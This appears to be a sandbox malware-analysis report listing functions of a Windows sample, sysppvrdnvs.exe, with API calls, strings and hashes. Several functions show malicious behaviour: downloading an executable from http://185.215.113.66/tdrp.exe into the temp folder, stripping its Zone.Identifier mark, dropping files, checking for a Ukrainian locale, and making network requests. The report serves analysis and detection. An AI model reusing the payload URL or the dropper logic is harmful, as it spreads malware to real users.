Function 0040D930 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040BBB0: EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
Part of subcall function 0040BBB0: LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

WaitForSingleObject.KERNEL32(000006BC,00001388), ref: 0040D95C

Part of subcall function 0040D550: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D55C

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: dea414f55044976029bfea1705a47b8f4b0a5085fa57cca7b4be92acb39eaa1a
Instruction ID: 2ee0a3073efd4fba8235a9b1d7a198457ec1c10d5c824cc9a6b08d4439e9405f
Opcode Fuzzy Hash: dea414f55044976029bfea1705a47b8f4b0a5085fa57cca7b4be92acb39eaa1a
Instruction Fuzzy Hash: E3E092B1D40308A7C714E7E5A806BAF762A9710305F54407AF600762C1DA799A44D7DC

Function 00407670 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction ID: d29105fc803771725095f39a6bc68a1d0ed1c954ca33f5653c88c8c6fc3524cf
Opcode Fuzzy Hash: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction Fuzzy Hash: 07E0ED74D1020CFFDF00DF94C889BDEBBB8AB44315F1081A9E90567280D7B96A94CB95

Function 00409CB0 Relevance: 1.4, APIs: 1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f585e5848d647f7ba98f44a578c3aab8627008f1611616fef22c9fd6c64d79f0
Instruction ID: 3330dfa097b842a7a488ec17b8b9c7df683748c841cce28906d8870d8e721c37
Opcode Fuzzy Hash: f585e5848d647f7ba98f44a578c3aab8627008f1611616fef22c9fd6c64d79f0
Instruction Fuzzy Hash: D9512B74600209EBDB04DF18C895FEA73A5FB48318F24857AE9299B382D735EE51CB84

Function 00402540 Relevance: 1.3, APIs: 1, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,004024FF), ref: 004025F1

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 003a0e8c18067fecf3b08c50e852eb1bba0ba506ffdb6ae14e986818a952058c
Instruction ID: 64e9503c27af5828c57b21208a77217ab4b39b6faaaa4d03522f211e53aa4793
Opcode Fuzzy Hash: 003a0e8c18067fecf3b08c50e852eb1bba0ba506ffdb6ae14e986818a952058c
Instruction Fuzzy Hash: 7A41EAB9A00208EFCB04DF94C59199EBBB5FF49314F20C5A9E819AB381D735EE41DB85

Function 0040C310 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040C34F

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 229a0221ec898bac06963efcfd6839d4a441ca8df59a2ebf4f072cbf2a2901ec
Instruction ID: e66e4651a1033cb0a1a859d50de709900647e4399b191a2d0bdb1657cb37730b
Opcode Fuzzy Hash: 229a0221ec898bac06963efcfd6839d4a441ca8df59a2ebf4f072cbf2a2901ec
Instruction Fuzzy Hash: FC412C79A00304DFC708EF44E881AAA7BB2FB4C324B16826DF9055B395D375E995CF98

Function 0040A510 Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a17e562121240b50e18342ff29bb7a47b48788b8a8a72522e6dd27721dde94
Instruction ID: 204a74d382af71bf333f3cbb89a072d8910a3b39e084b6e50900784b7b3b1d46
Opcode Fuzzy Hash: b9a17e562121240b50e18342ff29bb7a47b48788b8a8a72522e6dd27721dde94
Instruction Fuzzy Hash: 12313075900208FBCB04CF54D945B9A37B5BB44309F18857AE8096F381D37AEEA5DB8A

Function 00405D30 Relevance: 1.3, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,00000100,?,?,?,00000000), ref: 00405D8C

Part of subcall function 004076C0: memcpy.NTDLL(00000000,?,?), ref: 004076E8
Part of subcall function 004076C0: CreateThread.KERNEL32(00000000,00000000,00407720,00000000,00000000,00000000), ref: 0040770A
Part of subcall function 004076C0: CloseHandle.KERNEL32(00000000), ref: 00407711

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: memcpy$CloseCreateHandleThread
String ID:
API String ID: 241592544-0
Opcode ID: d1a6c51456eb3f1f8bb8e6c6fdf63fe92b3fd94511b66a8fb5e91428111d4212
Instruction ID: 7caf050ee9b179aea45d58d53746834e47f0899ed77d0615408a0675d7b2b4ba
Opcode Fuzzy Hash: d1a6c51456eb3f1f8bb8e6c6fdf63fe92b3fd94511b66a8fb5e91428111d4212
Instruction Fuzzy Hash: 91318179A04208EFC704DF58D881BDA7BB5FF88304F0481B8E9489B396D635A981CB94

Function 0040C6E0 Relevance: 1.3, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 0040C72E

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c06735b9bb3ca747746083835a1b84147725a79e97155fb761ee7c40afd9b0e2
Instruction ID: 6e1c982bf73a24a572eb662ea7eb90dd1456e91fb92d59b3ccb0b3fff8fbe84e
Opcode Fuzzy Hash: c06735b9bb3ca747746083835a1b84147725a79e97155fb761ee7c40afd9b0e2
Instruction Fuzzy Hash: 0A110874E00208EBDB00DBA1C881EAE77799F55304F04C27AED14A7381F639E606CB55

Function 0040C780 Relevance: 1.3, APIs: 1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2db90ea40cb3e4e99a624156167eaf50ef803cf4b6ed023375a7b27a719199
Instruction ID: 1b4390e4ee29ad65b8e359cbc1938e6215349f3d67b6f0ea2386614bd83c5173
Opcode Fuzzy Hash: 4a2db90ea40cb3e4e99a624156167eaf50ef803cf4b6ed023375a7b27a719199
Instruction Fuzzy Hash: D411A7B5D00109E7DB00DBA4DC81BAF77B45B14308F14867AFD44B72C1E67DD614975A

Non-executed Functions

Function 004068E0 Relevance: 107.2, APIs: 47, Strings: 14, Instructions: 407fileCOMMON

Download Yara Rule

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

shell32.dll, xrefs: 00406C38
%s\%s\rvldrv.exe, xrefs: 004069AC
%s\%s\rvlcfg.exe, xrefs: 00406953
%s\%s, xrefs: 00406EC0
%s\%s, xrefs: 00406E4D
%s.lnk, xrefs: 00406913
%s\%s, xrefs: 00406933
%s\%s\%s, xrefs: 00406EE7
shell32.dll, xrefs: 00406BFC
shell32.dll, xrefs: 00406C16
C:\Windows\sysppvrdnvs.exe, xrefs: 00406AA6
%s\%s, xrefs: 00406973
%s\*, xrefs: 0040698C
shell32.dll, xrefs: 00406C52

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$C:\Windows\sysppvrdnvs.exe$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-2225385857
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\%s, xrefs: 0040684E
%s\*, xrefs: 004067B9
%s\%s, xrefs: 0040682E

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 004064A0 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 111networkfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

%temp%, xrefs: 004064CB
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
%s:Zone.Identifier, xrefs: 004065FD
http://185.215.113.66/tdrp.exe, xrefs: 00406546
%s\%d%d.exe, xrefs: 00406505

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe
API String ID: 2816847299-853099633
Opcode ID: db0eaae3e853224ad670cce8e70ecd23fd08653b657d015a3b33c3440649b795
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
Opcode Fuzzy Hash: db0eaae3e853224ad670cce8e70ecd23fd08653b657d015a3b33c3440649b795
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 5def7e071e7da6894acac3e8c9e4b3eb82f64dc1225d37b855f6bd456c2498ea
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: 5def7e071e7da6894acac3e8c9e4b3eb82f64dc1225d37b855f6bd456c2498ea
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6
<, xrefs: 0040EFA0
POST, xrefs: 0040F05E

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 3405ee1fcabb9421b3ec30595840ce6cebe584c34456a6c61e452a9706b0566e
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: 3405ee1fcabb9421b3ec30595840ce6cebe584c34456a6c61e452a9706b0566e
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

<, xrefs: 0040E670
GET, xrefs: 0040E72B

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

